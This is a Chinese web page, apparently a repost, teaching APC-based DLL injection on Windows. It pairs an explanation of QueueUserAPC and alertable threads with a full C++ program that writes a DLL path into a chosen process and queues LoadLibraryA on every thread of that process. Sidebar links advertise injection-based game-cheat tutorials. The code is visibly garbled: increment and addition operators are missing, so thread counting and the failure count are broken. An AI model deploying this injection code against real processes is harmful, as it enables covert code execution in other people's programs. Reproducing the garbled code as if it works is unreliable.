当前位置:首页 > 教育 >

dll文件怎么注入(简单的dll注入教程)

来源:原点资讯(www.yd166.com)时间:2023-11-03 12:58:47作者:YD166手机阅读>>

实现效果如下所示

dll文件怎么注入,简单的dll注入教程(17)

APC注入

APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。

这里去看一下msdn中异步过程调用的解释如下

dll文件怎么注入,简单的dll注入教程(18)

首先第一个函数

QueueUserApc: 函数作用,添加指定的异步函数调用(回调函数)到执行的线程的APC队列中

APCproc:   函数作用: 回调函数的写法.

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。这里介绍一下应用程序的APC,APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的,如msdn所示

dll文件怎么注入,简单的dll注入教程(19)

核心函数

QueueUserAPC

DWORD QueueUserAPC( PAPCFUNCpfnAPC, // APC function HANDLEhThread, // handle to thread ULONG_PTRdwData // APC function parameter );

QueueUserAPC 函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函数地址处来执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT 访问权限。第三个参数表示传递给执行函数的参数,与远线程注入类似,如果QueueUserAPC 的第一个参数为LoadLibraryA,第三个参数设置的是dll路径即可完成dll注入。

实现原理

在 Windows系统中,每个线程都会维护一个线程 APC队列,通过QucueUserAPC把一个APC 函数添加到指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列,当线程处在可警告状态时才会执行这些APC 函数。一个线程在内部使用SignalObjectAndWait 、 SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函数把自己挂起时就是进入可警告状态,此时便会执行APC队列函数。

通俗点来概括过程可分为以下几步:

1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断(或者是Messagebox弹窗的时候不点OK的时候也能注入)。
2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。

但是想要使用apc注入也有以下两点条件:

1.必须是多线程环境下

2.注入的程序必须会调用那些同步对象

每一个进程的每一个线程都有自己的APC队列,我们可以使用QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而是要等到线程处于可通知状态(alertable)才会执行,即只有当一个线程内部调用SleepEx等上面说到的几个特定函数将自己处于挂起状态时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出(FIFO),在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态,所以APC注入对于这类程序没有明显效果。

实现过程

这里的常规思路是编写一个根据进程名获取pid的函数,然后根据PID获取所有的线程ID,这里我就将两个函数集合在一起,通过自己输入PID来获取指定进程的线程并写入数组

//列出指定进程的所有线程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) { // 申请空间 DWORD dwThreadIdListLength = 0; DWORD dwThreadIdListMaxCount = 2000; LPDWORD pThreadIdList = NULL; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList == NULL) { return FALSE; } RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD)); THREADENTRY32 th32 = { 0 }; // 拍摄快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } // 结构的大小 th32.dwSize = sizeof(THREADENTRY32); // 遍历所有THREADENTRY32结构, 按顺序填入数组 BOOL bRet = Thread32First(hThreadSnap, &th32); while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break; } pThreadIdList[dwThreadIdListLength ] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList; return TRUE; }

然后是apc注入的主函数,首先使用VirtualAllocEx远程申请内存

lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

然后使用WriteProcessMemory把dll路径写入内存

::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) 1) * sizeof(wzDllFullPath), nullptr)

再获取LoadLibraryA的地址

PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

遍历线程并插入APC,这里定义一个fail并进行判断,如果QueueUserAPC返回的值为NULL则线程遍历失败,fail的值就 1

for (int i = dwThreadIdListLength - 1; i >= 0; i--) { // 打开线程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { // 插入APC if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail ; } } }

然后在到主函数,定义dll地址

strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");

使用OpenProcess打开句柄

HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);

调用之前写好的APCInject函数实现APC注入

if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) { printf("Failed to inject DLL\n"); return FALSE; }

完整代码如下

// APCInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <iostream> #include <Windows.h> #include <TlHelp32.h> using namespace std; void ShowError(const char* pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK); } //列出指定进程的所有线程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) { // 申请空间 DWORD dwThreadIdListLength = 0; DWORD dwThreadIdListMaxCount = 2000; LPDWORD pThreadIdList = NULL; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList == NULL) { return FALSE; } RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD)); THREADENTRY32 th32 = { 0 }; // 拍摄快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } // 结构的大小 th32.dwSize = sizeof(THREADENTRY32); //遍历所有THREADENTRY32结构, 按顺序填入数组 BOOL bRet = Thread32First(hThreadSnap, &th32); while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break; } pThreadIdList[dwThreadIdListLength ] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList; return TRUE; } BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength) { // 申请内存 PVOID lpAddr = NULL; SIZE_T page_size = 4096; lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) { ShowError("VirtualAllocEx - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 把Dll的路径复制到内存中 if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) 1) * sizeof(wzDllFullPath), nullptr)) { ShowError("WriteProcessMemory - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 获得LoadLibraryA的地址 PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // 遍历线程, 插入APC float fail = 0; for (int i = dwThreadIdListLength - 1; i >= 0; i--) { // 打开线程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { // 插入APC if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail ; } // 关闭线程句柄 ::CloseHandle(hThread); hThread = NULL; } } printf("Total Thread: %d\n", dwThreadIdListLength); printf("Total Failed: %d\n", (int)fail); if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5) { printf("Success to Inject APC\n"); return TRUE; } else { printf("Inject may be failed\n"); return FALSE; } } int main() { ULONG32 ulProcessID = 0; printf("Input the Process ID:"); cin >> ulProcessID; CHAR wzDllFullPath[MAX_PATH] = { 0 }; LPDWORD pThreadIdList = NULL; DWORD dwThreadIdListLength = 0; #ifndef _WIN64 strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll"); #else // _WIN64 strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll"); #endif if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength)) { printf("Can not list the threads\n"); exit(0); } //打开句柄 HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID); if (hProcess == NULL) { printf("Failed to open Process\n"); return FALSE; } //注入 if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) { printf("Failed to inject DLL\n"); return FALSE; } return 0; }

之前说过我没有使用进程名 -> pid的方式,而是直接采用手动输入的方式,通过cin >> ulProcessID将接收到的参数赋给ulProcessID

dll文件怎么注入,简单的dll注入教程(20)

栏目热文

dll注入工具有什么用(四种常见的dll注入方式及原理)

dll注入工具有什么用(四种常见的dll注入方式及原理)

本文中我将介绍DLL注入的相关知识。不算太糟的是,DLL注入技术可以被正常软件用来添加/扩展其他程序,调试或逆向工程的功...

2023-11-03 13:06:34查看全文 >>

dll注入工具源码官方完整版(dll文件怎么注入)

dll注入工具源码官方完整版(dll文件怎么注入)

不关注《一碳科技》?好吧,你错过了很多东西!DLL注入是什么?它有多厉害?它能让360安全卫士执行你的“破坏”代码!首先...

2023-11-03 13:21:13查看全文 >>

dll注入辅助工具(dll注入式外挂教程)

dll注入辅助工具(dll注入式外挂教程)

原理:DLL注入技术,一般来讲是向一个正在运行的进程插入/注入代码的过程。我们注入的代码以动态链接库(DLL)的形式存在...

2023-11-03 13:06:52查看全文 >>

mc指令辅助器(最好用的mc指令辅助器)

mc指令辅助器(最好用的mc指令辅助器)

使用方便功能强大的我的世界指令生成工具升级啦,本次升级新增了MOD模块,你再也不用为不懂MOD指令而烦恼!智能搜索功能,...

2023-11-03 13:37:45查看全文 >>

接龙管家怎么更改上传的图片(接龙管家怎么导入图片)

接龙管家怎么更改上传的图片(接龙管家怎么导入图片)

拍照打卡的得力助手。好消息,接龙管家新增了水印拍照功能。传统的工作拍照打卡往往缺乏相关信息,难以确认照片的真实性。而水印...

2023-11-03 13:20:54查看全文 >>

dll自动注入怎么写(四种常见的dll注入方式及原理)

dll自动注入怎么写(四种常见的dll注入方式及原理)

最近一直在研究注入,写一篇全的,也给自己做个总结dll注入其实就是让别的进程的address space去读相关的动态库...

2023-11-03 13:15:03查看全文 >>

注入dll有什么用(dll注入后怎么使用)

注入dll有什么用(dll注入后怎么使用)

Hook概述Hook也就是钩子,在Windows中大部分的应用程序都是基于消息机制,会根据不同的消息使用消息过程函数完成...

2023-11-03 12:57:21查看全文 >>

cdr自动排版怎么弄(cdr一键自动排版)

cdr自动排版怎么弄(cdr一键自动排版)

CorelDRAW/cdr插件077例:根据页面大小自动排版。大家好,这一集接着讲cdr插件第77例:根据页面大小自动排...

2023-11-03 13:38:58查看全文 >>

cdr怎么一键排版(cdr一键排版怎么安排)

cdr怎么一键排版(cdr一键排版怎么安排)

我们今天来学习CDR的智能排版技巧。我们可以将企业或学校的工作证进行智能排版,因为每个人的姓名、职位和编号都不一样,手动...

2023-11-03 13:24:48查看全文 >>

cdr如何快速排版设计(cdr排版方法和技巧)

cdr如何快速排版设计(cdr排版方法和技巧)

来源公众号:平面设计CDR在线学习(ID:cdr696969)CorelDRAW 2019(Win版)是一款专业的平面设...

2023-11-03 13:16:09查看全文 >>

文档排行